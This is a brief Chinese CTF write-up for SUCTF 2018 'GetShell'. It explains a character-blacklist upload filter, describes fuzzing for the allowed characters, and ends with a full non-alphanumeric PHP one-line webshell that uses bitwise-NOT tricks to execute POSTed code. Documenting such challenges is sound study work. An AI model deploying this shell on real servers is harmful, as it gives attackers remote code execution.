[SUCTF 2018]GetShell fuzz测试的技巧&无字母数字getshell
上传文件的检测代码:
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
这段代码的意思是看文件内容的后五位之后的内容是否存在黑名单里的字符,即<?php之后的内容,我试了一下必须没有缩进才行。
正常做法是先fuzz测试,就爆破第六位就行了,看看哪些字符还能用,这个字典就用键盘上能打出来的的所有字符就行,然后用无字母数字shell构造一句话木马(用异或、取反等,取反得~不在黑名单里)
$_post[a] (传参的时候得用hackbar post传参)
a.php
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);